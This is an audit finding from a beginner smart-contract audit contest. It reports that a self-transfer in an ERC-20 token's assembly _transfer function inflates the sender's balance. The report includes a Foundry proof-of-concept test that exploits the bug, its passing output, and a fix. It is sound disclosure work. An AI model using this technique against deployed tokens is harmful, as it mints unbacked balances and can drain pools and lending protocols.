Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Self-transfer inflates user balance due to stale storage reads in _transfer, allowing unlimited minting

Author Revealed upon completion

Self-transfer Inflation Due to Incorrect Balance Update Logic in ERC20Internals.sol::_transfer

Description

  • Normal behavior: In a standard ERC-20 implementation, transferring tokens to oneself must be a no-op:\

    • the sender’s balance must remain unchanged, and totalSupply must not be affected.
      - Self-transfers are valid operations and should not modify supply or mint tokens.

  • Actual behavior: When from == to, the _transfer function in ERC20Internals.sol produces inflation, because:

    1. Both balance lookups load the same storage slot (balances[from]).

    2. The function reads the old balance twice, subtracts value (first write), but then adds value to the old balance, not to the updated one (second write).

    3. As a result, the final balance becomes:

      finalBalance = oldBalance + value

while totalSupply remains unchanged.

An attacker can repeatedly self-transfer tokens to mint unlimited ERC-20 tokens, breaking all accounting and enabling full supply manipulation.

Issue in 127 line

...
}
sstore(fromSlot, sub(fromAmount, value))
@> sstore(toSlot, add(toAmount, value)) // balance update
success := 1
mstore(ptr, value)
log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
}
}

Risk

Likelihood:

  • Self-transfer via transfer occurs whenever a user calls transfer(to, value) with to == msg.sender, which is a valid and commonly allowed ERC-20 pattern in wallets, airdrop scripts, and generic tooling that do not special-case self-transfers.

  • Self-transfer via transferFrom occurs whenever an approved spender calls transferFrom(from, to, value) with from == to, which is trivial once an allowance is granted (including spender == from), so any token holder can unilaterally trigger the inflation without special privileges.

Impact:

  • A malicious holder can repeatedly self-transfer to increase their own balance without increasing totalSupply, effectively minting an unbounded amount of tokens and completely breaking the ERC-20 accounting invariants.

  • With an inflated balance, the attacker can drain any protocol that trusts this token’s balance or totalSupply (DEX pools, lending markets, collateral systems, reward distributions, governance voting), leading to loss of funds from pools and treasuries and total loss of trust in the asset.

Proof of Concept

Just paste it in test/Token.t.sol

function test_transferFundsToYourself() public {
address attacker = makeAddr("hacker");
uint256 mintAmount = 10e18;
uint256 transferAmount = 1e18;
// Mint tokens to the attacker
vm.prank(attacker);
token.mint(attacker, mintAmount);
uint256 balanceBefore = token.balanceOf(attacker);
uint256 totalSupplyBefore = token.totalSupply();
// --- Phase 1: self-transfer via transfer() ---
vm.startPrank(attacker);
token.approve(attacker, mintAmount);
token.transfer(attacker, transferAmount);
vm.stopPrank();
uint256 balanceAfterTransfer = token.balanceOf(attacker);
uint256 supplyAfterTransfer = token.totalSupply();
// Balance increased while totalSupply stayed the same
assertGt(
balanceAfterTransfer,
balanceBefore,
"Self-transfer via transfer() did not increase balance as expected (inflation bug)"
);
assertEq(
supplyAfterTransfer,
totalSupplyBefore,
"totalSupply should remain unchanged after transfer()"
);
// --- Phase 2: self-transfer via transferFrom() ---
vm.prank(attacker);
token.transferFrom(attacker, attacker, transferAmount);
uint256 balanceAfterTransferFrom = token.balanceOf(attacker);
uint256 supplyAfterTransferFrom = token.totalSupply();
// Balance increased again, still with the same totalSupply
assertGt(
balanceAfterTransferFrom,
balanceAfterTransfer,
"Self-transfer via transferFrom() did not further increase balance as expected"
);
assertEq(
supplyAfterTransferFrom,
totalSupplyBefore,
"totalSupply should remain unchanged after transferFrom()"
);
}

Output result:

Ran 1 test for test/Token.t.sol:TokenTest
[PASS] test_transferFundsToYourself() (gas: 100963)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.88ms (1.04ms CPU time)

Recommended Mitigation

The core issue comes from reading both fromAmount and toAmount before any storage updates and then writing twice to the same slot when from == to.

function _transfer(address from, address to, uint256 value) internal returns (bool success) {
+ // Mitigate slot collision on self-transfer
+ if (from == to) {
+ // optional: emit Transfer(from, to, 0) if desired
+ return true;
+ }
+
assembly ("memory-safe") {

High-level early return (if (from == to) return true;) is preferred because it removes the vulnerable execution path before entering the assembly block, producing a safer and far more readable fix. This avoids additional branching inside Yul, reduces complexity, and eliminates the risk of introducing new low-level bugs while keeping the mitigation minimal and easy to verify.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!